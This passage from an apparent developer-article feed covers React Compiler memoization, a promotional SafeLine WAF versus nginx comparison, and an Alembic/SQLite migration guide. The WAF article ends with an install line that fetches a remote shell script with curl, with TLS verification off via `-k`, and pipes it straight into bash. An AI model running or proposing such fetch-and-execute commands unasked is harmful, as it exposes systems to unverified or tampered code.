  return &amp;lt;ul&amp;gt;{filtered.map(p =&amp;gt; &amp;lt;li key={p.id}&amp;gt;{p.name}&amp;lt;/li&amp;gt;)}&amp;lt;/ul&amp;gt;;
}

// What the compiler effectively produces (simplified)
function ProductList({ products, searchTerm }) {
  const filtered = useMemo(
    () =&amp;gt; products.filter(p =&amp;gt; p.name.includes(searchTerm)),
    [products, searchTerm]
  );
  return &amp;lt;ul&amp;gt;{filtered.map(p =&amp;gt; &amp;lt;li key={p.id}&amp;gt;{p.name}&amp;lt;/li&amp;gt;)}&amp;lt;/ul&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You write the simple version. The compiler handles the optimization. This is a genuinely big shift in how React code gets written day to day.&lt;/p&gt;
&lt;h2 id=&quot;why-this-matters&quot;&gt;Why This Matters&lt;/h2&gt;
&lt;p&gt;For years, a big part of &quot;writing performant React&quot; meant knowing exactly when to reach for &lt;code&gt;useMemo&lt;/code&gt;, &lt;code&gt;useCallback&lt;/code&gt;, and &lt;code&gt;React.memo&lt;/code&gt; — and just as importantly, when not to, since overusing them adds overhead without benefit (something worth understanding deeply, not just memorizing rules for). React Compiler removes a huge chunk of that decision-making from your daily workflow. You write straightforward component code, and the compiler figures out the optimization boundaries for you, generally more consistently than most developers would by hand.&lt;/p&gt;
&lt;p&gt;This lowers the barrier significantly for newer developers — you can focus on what the component actually does, rather than also having to reason about referential stability and shallow prop comparisons on every component you write.&lt;/p&gt;
&lt;h2 id=&quot;so-is-manual-memoization-dead-&quot;&gt;So Is Manual Memoization Dead?&lt;/h2&gt;
&lt;p&gt;Not entirely, and here's why it's still worth understanding:&lt;/p&gt;
&lt;p&gt;The compiler doesn't cover every case yet. Custom hooks with complex external dependencies, some third-party library integrations, and edge cases the compiler's static analysis can't confidently reason about may still need manual attention.&lt;/p&gt;
&lt;p&gt;Understanding why memoization helps makes debugging easier. When something doesn't optimize the way you expect, knowing the underlying mechanics — what actually triggers a re-render, how shallow comparison works — lets you diagnose the issue instead of just guessing.&lt;/p&gt;
&lt;p&gt;Not every codebase has adopted it yet. Plenty of production apps are still running without React Compiler, especially larger, older codebases where adopting a new build-time tool takes deliberate migration effort. If you're working on one of these, the manual APIs are still exactly as relevant as before.&lt;/p&gt;
&lt;h2 id=&quot;adopting-it-in-an-existing-project&quot;&gt;Adopting It in an Existing Project&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm install babel-plugin-react-compiler
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// babel.config.js
module.exports = {
  plugins: [&quot;babel-plugin-react-compiler&quot;],
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The compiler is designed to be adopted incrementally — you don't need to rewrite your whole codebase at once. It analyzes your existing components and applies optimizations where it's confident doing so is safe, without requiring you to change how you write components.&lt;/p&gt;
&lt;h2 id=&quot;what-this-means-for-learning-react-in-2026&quot;&gt;What This Means for Learning React in 2026&lt;/h2&gt;
&lt;p&gt;If you're newer to React, this is genuinely good news: you can focus your energy on understanding component structure, hooks, and data flow, without needing to simultaneously master manual performance optimization from day one. That said, I'd still recommend understanding what the compiler is doing under the hood — reading about how &lt;code&gt;useMemo&lt;/code&gt; and &lt;code&gt;React.memo&lt;/code&gt; work conceptually will make you a stronger developer even if you rarely write them by hand going forward, the same way understanding how a car engine works makes you a better driver even if you never plan to fix one yourself.&lt;/p&gt;
&lt;h2 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;React Compiler is one of the more meaningful shifts in how React gets written in years — less boilerplate, fewer performance footguns, and a lower barrier to entry for people learning React right now. It doesn't make performance knowledge irrelevant, but it does change where that knowledge matters most: less in your daily component code, more in the rare cases where the compiler needs a hand, or when you're maintaining a codebase that hasn't adopted it yet.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Muhammad Farhan&lt;/strong&gt; is a Frontend Developer specializing in React.js and Tailwind CSS, based in Dera Ismail Khan, Pakistan. Portfolio: &lt;strong&gt;&lt;em&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://muhammadfarhandev.netlify.app&quot;&gt;Muhammad Farhan&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26933/react-compiler-in-2026-do-you-still-need-usememo-and-usecallback</guid>
<pubDate>Sat, 12 Sep 2026 05:57:58 +0000</pubDate>
</item>
<item>
<title>SafeLine WAF vs Nginx WAF: Why a Dedicated Engine Beats a Module</title>
<link>https://coderlegion.com/26769/safeline-waf-vs-nginx-waf-why-a-dedicated-engine-beats-a-module</link>
<description>&lt;h2 id=&quot;safeline-waf-vs-nginx-waf-why-a-dedicated-engine-beats-a-module&quot;&gt;SafeLine WAF vs Nginx WAF: Why a Dedicated Engine Beats a Module&lt;/h2&gt;
&lt;p&gt;&quot;Nginx WAF&quot; usually means either the commercial NGINX WAF module or ModSecurity&lt;br&gt;
bolted onto nginx. SafeLine is a standalone, self-hosted WAF you place in front of nginx. The&lt;br&gt;
difference is where the intelligence lives.&lt;/p&gt;
&lt;h3 id=&quot;the-nginx-approach&quot;&gt;The nginx approach&lt;/h3&gt;
&lt;p&gt;nginx itself is a great reverse proxy and can host a WAF module. The commercial NGINX WAF and the&lt;br&gt;
ModSecurity/CRS combo both work, but they inherit the same tuning burden: you manage rules,&lt;br&gt;
thresholds, and false positives.&lt;/p&gt;
&lt;h3 id=&quot;safeline-in-front-of-nginx&quot;&gt;SafeLine in front of nginx&lt;/h3&gt;
&lt;p&gt;SafeLine sits as a reverse proxy before your nginx upstream. Requests are inspected by its&lt;br&gt;
semantic-analysis engine before they ever reach your app server. Because detection is based on&lt;br&gt;
request intent rather than a signature list, you spend less time writing exception rules.&lt;/p&gt;
&lt;h3 id=&quot;why-a-dedicated-engine-helps&quot;&gt;Why a dedicated engine helps&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Clean separation&lt;/strong&gt;: WAF logic lives in its own container; your nginx config stays about&lt;br&gt;
routing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Central dashboard&lt;/strong&gt;: SafeLine gives you a web UI at &lt;code&gt;https://&amp;lt;ip&amp;gt;:9443&lt;/code&gt; for policies, logs,&lt;br&gt;
and alerts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lower false positives&lt;/strong&gt;: semantic analysis is gentler on legitimate, unusual traffic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;faq-13&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;do-i-have-to-remove-nginx-&quot;&gt;Do I have to remove nginx?&lt;/h4&gt;
&lt;p&gt;No. Keep nginx for routing; put SafeLine in front as the inspection layer.&lt;/p&gt;
&lt;h4 id=&quot;can-i-run-it-on-the-same-host-&quot;&gt;Can I run it on the same host?&lt;/h4&gt;
&lt;p&gt;Yes, as a container sharing the host network or a dedicated port.&lt;/p&gt;
&lt;h4 id=&quot;is-it-free-&quot;&gt;Is it free?&lt;/h4&gt;
&lt;p&gt;The Community Edition is free for 10 apps at 800 QPS.&lt;/p&gt;
&lt;h3 id=&quot;wrap-up-3&quot;&gt;Wrap Up&lt;/h3&gt;
&lt;p&gt;If you want a &lt;strong&gt;self-hosted WAF&lt;/strong&gt; you fully control, SafeLine is worth a look. It sits in&lt;br&gt;
front of your existing stack as a container, uses a semantic-analysis engine to catch SQL&lt;br&gt;
injection, XSS, and bot abuse with very low false positives, and the &lt;strong&gt;Community Edition is&lt;br&gt;
free&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Official docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;https://docs.waf.chaitin.com/en/home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;https://github.com/chaitin/SafeLine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Live demo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deploy it in minutes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26769/safeline-waf-vs-nginx-waf-why-a-dedicated-engine-beats-a-module</guid>
<pubDate>Fri, 11 Sep 2026 02:39:56 +0000</pubDate>
</item>
<item>
<title>Alembic in Practice: Structure, Revisions, and the Traps SQLite Sets</title>
<link>https://coderlegion.com/26691/alembic-in-practice-structure-revisions-and-the-traps-sqlite-sets</link>
<description>&lt;p&gt;&lt;em&gt;What those hex filenames mean, why migrations silently applied to the wrong database for two months, and how to widen a CHECK constraint without quietly breaking it.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Alembic is the migration tool for SQLAlchemy. Most tutorials get you as far as&lt;br&gt;
&lt;code&gt;alembic revision --autogenerate&lt;/code&gt; and stop, which leaves you unprepared for the&lt;br&gt;
two things that actually go wrong: SQLite's refusal to alter constraints, and&lt;br&gt;
configuration that points migrations at a different database than your&lt;br&gt;
application uses.&lt;/p&gt;
&lt;p&gt;This post covers both, using real migrations from&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/boazleleina/finops-sentinel&quot;&gt;FinOps Sentinel&lt;/a&gt;, an AWS cost&lt;br&gt;
agent with four migrations, one of which took three attempts to get right.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-layout&quot;&gt;The layout&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;alembic.ini                     # config; script location, logging
alembic/
├── env.py                      # runs on every alembic command
├── script.py.mako              # template for new revision files
└── versions/
    ├── c447645246ac_initial_schema.py
    ├── 08872b80af2e_notifications_and_remediations.py
    ├── a1c9f4d27b13_add_rds_and_s3_resource_types.py
    └── b7e2f81c4a90_add_spend_snapshots.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Plus one table Alembic creates in your database:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE alembic_version (version_num VARCHAR(32) NOT NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One row. One value. That is the entirety of Alembic's state: which database is&lt;br&gt;
at which revision. Everything else is derived.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;why-the-filenames-look-like-keyboard-mashing&quot;&gt;Why the filenames look like keyboard mashing&lt;/h3&gt;
&lt;p&gt;This is the most common first question, and the answer explains the design.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;c447645246ac_initial_schema.py
b7e2f81c4a90_add_spend_snapshots.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hex prefix is the &lt;strong&gt;revision ID&lt;/strong&gt;: a 12-character slice of a UUID, generated&lt;br&gt;
by &lt;code&gt;alembic revision&lt;/code&gt;. The filename is &lt;code&gt;&amp;lt;revision_id&amp;gt;_&amp;lt;your message slugified&amp;gt;.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Inside each file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;revision: str = &quot;b7e2f81c4a90&quot;
down_revision: Union[str, None] = &quot;a1c9f4d27b13&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those two fields form a &lt;strong&gt;linked list&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;c447645246ac  initial_schema                  (down_revision = None)  ← root
      ↓
08872b80af2e  notifications_and_remediations
      ↓
a1c9f4d27b13  add_rds_and_s3_resource_types
      ↓
b7e2f81c4a90  add_spend_snapshots                                     ← head
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Order comes from the pointers, never from filenames.&lt;/strong&gt; Look at the project's&lt;br&gt;
list again: &lt;code&gt;b7e2f81c4a90&lt;/code&gt; sorts alphabetically &lt;em&gt;before&lt;/em&gt; &lt;code&gt;c447645246ac&lt;/code&gt;, yet&lt;br&gt;
&lt;code&gt;c447645246ac&lt;/code&gt; is the first migration and &lt;code&gt;b7e2f81c4a90&lt;/code&gt; is the newest. If&lt;br&gt;
Alembic sorted by filename, everything would run backwards.&lt;/p&gt;
&lt;h4 id=&quot;why-not-0001-0002-0003-&quot;&gt;Why not 0001, 0002, 0003?&lt;/h4&gt;
&lt;p&gt;Because sequential numbers collide the moment two people work in parallel.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;main
 ├── feature/billing   → 0004_add_invoices.py
 └── feature/auth      → 0004_add_sessions.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both are valid. Both are &lt;code&gt;0004&lt;/code&gt;. Merging produces a conflict where the numbering&lt;br&gt;
lies about order, and worse, the conflict is in the &lt;em&gt;filename&lt;/em&gt;, and git resolves it&lt;br&gt;
by keeping both, and now your migration history has two fourth steps.&lt;/p&gt;
&lt;p&gt;With hex IDs there is no collision. And if both branches set &lt;code&gt;down_revision&lt;/code&gt; to&lt;br&gt;
the same parent, Alembic detects a genuine branch:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-console&quot;&gt;$ alembic upgrade head
ERROR: Multiple head revisions are present
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It refuses to guess, and you resolve it explicitly with &lt;code&gt;alembic merge&lt;/code&gt;. The&lt;br&gt;
scary-looking IDs are what make that detection possible.&lt;/p&gt;
&lt;h4 id=&quot;if-you-want-readable-filenames&quot;&gt;If you want readable filenames&lt;/h4&gt;
&lt;p&gt;Add to &lt;code&gt;alembic.ini&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;file_template = %%(year)d%%(month).2d%%(day).2d_%%(rev)s_%%(slug)s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giving &lt;code&gt;20260728_b7e2f81c4a90_add_spend_snapshots.py&lt;/code&gt;: date-sortable, revision&lt;br&gt;
ID still present because Alembic needs it. Existing files keep their names; only&lt;br&gt;
new ones pick it up.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-configuration-trap-that-cost-two-months&quot;&gt;The configuration trap that cost two months&lt;/h3&gt;
&lt;p&gt;This is the bug I most want to warn people about, because it produces &lt;strong&gt;no&lt;br&gt;
error message at all&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The default &lt;code&gt;env.py&lt;/code&gt; reads the database URL from &lt;code&gt;alembic.ini&lt;/code&gt;. FinOps Sentinel&lt;br&gt;
needed it configurable, so early on it did the obvious thing:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# alembic/env.py: the version with the bug
def get_url():
    db_path = os.getenv(&quot;SENTINEL_DB_PATH&quot;, &quot;.sentinel.db&quot;)
    return f&quot;sqlite:///{db_path}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reasonable. Except the application reads the same setting through&lt;br&gt;
pydantic-settings:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class Settings(BaseSettings):
    sentinel_db_path: str = &quot;.sentinel.db&quot;
    model_config = SettingsConfigDict(env_file=&quot;.env&quot;)   # ← reads .env too
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;os.getenv&lt;/code&gt; does not read &lt;code&gt;.env&lt;/code&gt;. pydantic-settings does.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The documented setup puts &lt;code&gt;SENTINEL_DB_PATH=data/sentinel.db&lt;/code&gt; in &lt;code&gt;.env&lt;/code&gt;, not in&lt;br&gt;
the shell. So:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Component &lt;/th&gt;&lt;th&gt;Reads from &lt;/th&gt;&lt;th&gt;Resolves to&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;The app &lt;/td&gt;&lt;td&gt;env var → &lt;code&gt;.env&lt;/code&gt; → default &lt;/td&gt;&lt;td&gt;&lt;code&gt;data/sentinel.db&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Alembic &lt;/td&gt;&lt;td&gt;env var → default &lt;/td&gt;&lt;td&gt;&lt;code&gt;.sentinel.db&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Every migration ever run landed on &lt;code&gt;.sentinel.db&lt;/code&gt;. The application used&lt;br&gt;
&lt;code&gt;data/sentinel.db&lt;/code&gt;. Two files, silently, for two months.&lt;/p&gt;
&lt;h4 id=&quot;why-nothing-broke-for-so-long&quot;&gt;Why nothing broke for so long&lt;/h4&gt;
&lt;p&gt;The application also calls &lt;code&gt;Base.metadata.create_all()&lt;/code&gt; in tests, and the first&lt;br&gt;
three migrations only created tables that SQLAlchemy would have created anyway.&lt;br&gt;
The schemas &lt;em&gt;happened&lt;/em&gt; to agree.&lt;/p&gt;
&lt;p&gt;Then came a migration whose table nothing else creates: &lt;code&gt;spend_snapshots&lt;/code&gt;. The&lt;br&gt;
next scan died:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-console&quot;&gt;alembic upgrade head
INFO  [alembic.runtime.migration] Running upgrade a1c9f4d27b13 -&amp;gt; b7e2f81c4a90

sentinel scan
OperationalError: (sqlite3.OperationalError) no such table: spend_snapshots
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alembic reported success. The app said the table didn't exist. Both were telling&lt;br&gt;
the truth about different files.&lt;/p&gt;
&lt;h4 id=&quot;the-fix-one-owner-for-the-url&quot;&gt;The fix: one owner for the URL&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# config.py: the single source of truth
def database_url() -&amp;gt; str:
    &quot;&quot;&quot;The one place the findings database URL is built.

    Both the application (bootstrap.get_repository) and Alembic (alembic/env.py)
    call this. They used to build it independently, and drifted.
    &quot;&quot;&quot;
    return f&quot;sqlite:///{settings.sentinel_db_path}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# alembic/env.py
from finops_sentinel.config import database_url

def get_url():
    return database_url()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# bootstrap.py
def get_repository() -&amp;gt; FindingsRepository:
    return SqlAlchemyRepository(db_url=database_url())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And &lt;code&gt;alembic.ini&lt;/code&gt; is deliberately emptied:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;# Deliberately empty. env.py overrides this with the application's own
# Settings.sentinel_db_path. A URL here would be dead config that reads as
# authoritative, which is exactly how this drifted before.
sqlalchemy.url =
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Takeaway: if your app and your migrations resolve the database path&lt;br&gt;
separately, they will eventually disagree, and nothing will tell you.&lt;/strong&gt; Give the&lt;br&gt;
URL exactly one owner and have both call it.&lt;/p&gt;
&lt;p&gt;The project now pins this with tests:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def test_the_app_and_alembic_build_the_url_the_same_way():
    assert get_repository().db_url == database_url()

def test_alembic_ini_does_not_hardcode_a_database():
    parser = configparser.ConfigParser()
    parser.read(REPO_ROOT / &quot;alembic.ini&quot;)
    assert parser.get(&quot;alembic&quot;, &quot;sqlalchemy.url&quot;, fallback=&quot;&quot;).strip() == &quot;&quot;

def test_alembic_env_does_not_read_the_environment_itself():
    env_py = (REPO_ROOT / &quot;alembic&quot; / &quot;env.py&quot;).read_text()
    assert &quot;database_url&quot; in env_py
    assert &quot;os.getenv(&quot; not in env_py
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;autogenerate-and-where-to-stop-trusting-it&quot;&gt;Autogenerate, and where to stop trusting it&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;alembic revision --autogenerate -m &quot;add spend snapshots&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alembic compares your SQLAlchemy models against the live database and writes the&lt;br&gt;
diff. It needs &lt;code&gt;target_metadata&lt;/code&gt; wired up in &lt;code&gt;env.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from finops_sentinel.adapters.persistence.sqlalchemy_repo import Base
target_metadata = Base.metadata
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;It detects&lt;/strong&gt; new/dropped tables and columns, nullability changes, most index&lt;br&gt;
and unique-constraint changes, and some type changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It misses&lt;/strong&gt; table and column &lt;em&gt;renames&lt;/em&gt; (it sees a drop plus an add, and will&lt;br&gt;
happily destroy your data), CHECK constraint changes, server defaults in many&lt;br&gt;
cases, and anything requiring data transformation.&lt;/p&gt;
&lt;p&gt;The generated file is a &lt;strong&gt;draft&lt;/strong&gt;. The comment Alembic itself writes says so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def upgrade() -&amp;gt; None:
    # ### commands auto generated by Alembic - please adjust! ###
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Always read it. For anything beyond adding a column, expect to hand-write.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;trap-sqlite-cannot-alter-a-constraint&quot;&gt;Trap: SQLite cannot ALTER a constraint&lt;/h3&gt;
&lt;p&gt;Adding two values to an enum required widening a CHECK constraint:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;class ResourceType(StrEnum):
    EBS_VOLUME = &quot;ebs_volume&quot;
    ELASTIC_IP = &quot;elastic_ip&quot;
    EC2_INSTANCE = &quot;ec2_instance&quot;
    EBS_SNAPSHOT = &quot;ebs_snapshot&quot;
    RDS_INSTANCE = &quot;rds_instance&quot;    # new
    S3_BUCKET = &quot;s3_bucket&quot;          # new
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Postgres: &lt;code&gt;ALTER TABLE ... DROP CONSTRAINT ... ADD CONSTRAINT ...&lt;/code&gt;. Done.&lt;/p&gt;
&lt;p&gt;On SQLite: &lt;strong&gt;there is no ALTER for constraints.&lt;/strong&gt; The only route is create a new&lt;br&gt;
table, copy the data, drop the old, rename the new. Alembic wraps this in&lt;br&gt;
&lt;code&gt;batch_alter_table&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with op.batch_alter_table(&quot;resources&quot;, recreate=&quot;always&quot;) as batch_op:
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;attempt-1-silently-kept-the-old-constraint&quot;&gt;Attempt 1: silently kept the old constraint&lt;/h4&gt;
&lt;p&gt;The first version passed &lt;code&gt;table_args&lt;/code&gt; and ran without error:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with op.batch_alter_table(
    &quot;resources&quot;,
    recreate=&quot;always&quot;,
    table_args=(
        sa.CheckConstraint(_resource_type_check(NEW_TYPES), name=&quot;check_resource_type&quot;),
    ),
):
    pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;alembic upgrade head&lt;/code&gt; printed success. Inserting an &lt;code&gt;rds_instance&lt;/code&gt; row still&lt;br&gt;
failed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why:&lt;/strong&gt; &lt;code&gt;table_args&lt;/code&gt; &lt;em&gt;adds to&lt;/em&gt; a reflected table definition rather than&lt;br&gt;
replacing it. Alembic reflected the live table, including the old four-value&lt;br&gt;
CHECK, then appended the new six-value one. The rebuilt table had &lt;strong&gt;both&lt;/strong&gt;, and&lt;br&gt;
the old one still rejected every new row.&lt;/p&gt;
&lt;p&gt;Only dumping the schema revealed it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sqlite3 data/sentinel.db &quot;.schema resources&quot;
# CONSTRAINT check_resource_type CHECK (resource_type IN ('ebs_volume', ...))   ← old
# CONSTRAINT check_resource_type CHECK (resource_type IN ('ebs_volume', ..., 's3_bucket'))
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;attempt-2-copy-from-to-suppress-reflection&quot;&gt;Attempt 2: &lt;code&gt;copy_from&lt;/code&gt; to suppress reflection&lt;/h4&gt;
&lt;p&gt;The fix is &lt;code&gt;copy_from&lt;/code&gt;, an explicit table definition that tells Alembic &lt;em&gt;not&lt;/em&gt;&lt;br&gt;
to reflect:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def _columns_only_resources() -&amp;gt; sa.Table:
    &quot;&quot;&quot;The `resources` table as columns and primary key, with NO constraints.

    Handed to batch_alter_table as `copy_from`, which suppresses reflection of
    the live table. That suppression is the point: `table_args` adds to a
    reflected definition rather than replacing it.
    &quot;&quot;&quot;
    return sa.Table(
        &quot;resources&quot;,
        sa.MetaData(),
        sa.Column(&quot;id&quot;, sa.String(), primary_key=True, nullable=False),
        sa.Column(&quot;resource_id&quot;, sa.String(), nullable=False),
        sa.Column(&quot;resource_type&quot;, sa.String(), nullable=False),
        sa.Column(&quot;resource_arn&quot;, sa.String(), nullable=False),
        sa.Column(&quot;region&quot;, sa.String(), nullable=False),
        sa.Column(&quot;current_tags&quot;, sa.String(), nullable=False),
        sa.Column(&quot;lifecycle&quot;, sa.String(), nullable=False),
        sa.Column(&quot;first_seen_at&quot;, sa.DateTime(timezone=True), nullable=False),
        sa.Column(&quot;last_seen_at&quot;, sa.DateTime(timezone=True), nullable=False),
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;attempt-3-the-indexes-were-gone&quot;&gt;Attempt 3: the indexes were gone&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;copy_from&lt;/code&gt; suppresses &lt;strong&gt;index&lt;/strong&gt; reflection too. The rebuilt table lost its&lt;br&gt;
unique index on &lt;code&gt;resource_id&lt;/code&gt;, which the upsert logic depends on for&lt;br&gt;
correctness. So it gets recreated by hand:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def _rebuild_resources(resource_types: tuple[str, ...]) -&amp;gt; None:
    with op.batch_alter_table(
        &quot;resources&quot;,
        recreate=&quot;always&quot;,
        copy_from=_columns_only_resources(),
        table_args=(
            sa.CheckConstraint(&quot;lifecycle IN ('active', 'deleted')&quot;,
                               name=&quot;check_resource_lifecycle&quot;),
            sa.CheckConstraint(_resource_type_check(resource_types),
                               name=&quot;check_resource_type&quot;),
        ),
    ):
        pass  # the rebuild itself is the migration

    # copy_from also suppresses index reflection, so re-create by hand.
    bind = op.get_bind()
    existing = {index[&quot;name&quot;] for index in sa.inspect(bind).get_indexes(&quot;resources&quot;)}
    if &quot;ix_resources_resource_id&quot; not in existing:
        op.create_index(op.f(&quot;ix_resources_resource_id&quot;), &quot;resources&quot;,
                        [&quot;resource_id&quot;], unique=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Rule for SQLite batch migrations: whatever the batch block omits is silently&lt;br&gt;
absent from the rebuilt table.&lt;/strong&gt; Every column, every constraint, every index has&lt;br&gt;
to be re-declared. And &quot;it ran without error&quot; proves nothing. Dump the schema.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;downgrades-that-refuse-to-run&quot;&gt;Downgrades that refuse to run&lt;/h3&gt;
&lt;p&gt;Most &lt;code&gt;downgrade()&lt;/code&gt; functions are written on autopilot as the inverse of&lt;br&gt;
&lt;code&gt;upgrade()&lt;/code&gt;. Sometimes the honest inverse is &lt;em&gt;refusing&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def downgrade() -&amp;gt; None:
    bind = op.get_bind()
    stranded = bind.execute(
        sa.text(&quot;SELECT COUNT(*) FROM resources &quot;
                &quot;WHERE resource_type IN ('rds_instance', 's3_bucket')&quot;)
    ).scalar_one()
    if stranded:
        raise RuntimeError(
            f&quot;Cannot downgrade: {stranded} resource(s) use rds_instance or s3_bucket, &quot;
            &quot;which the previous CHECK constraint forbids. Delete those resources and &quot;
            &quot;the findings referencing them first if this downgrade is intended.&quot;
        )
    _rebuild_resources(OLD_RESOURCE_TYPES)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Narrowing the constraint with those rows present means deleting them, which&lt;br&gt;
also orphans every finding referencing them. A downgrade that silently destroys&lt;br&gt;
data to succeed is worse than one that stops and explains.&lt;/p&gt;
&lt;p&gt;The docstring says so up front, so nobody is surprised at 2am:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;downgrade()&lt;/code&gt; restores the four-value constraint and will FAIL if any&lt;br&gt;
rds_instance or s3_bucket row exists by then, deliberately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
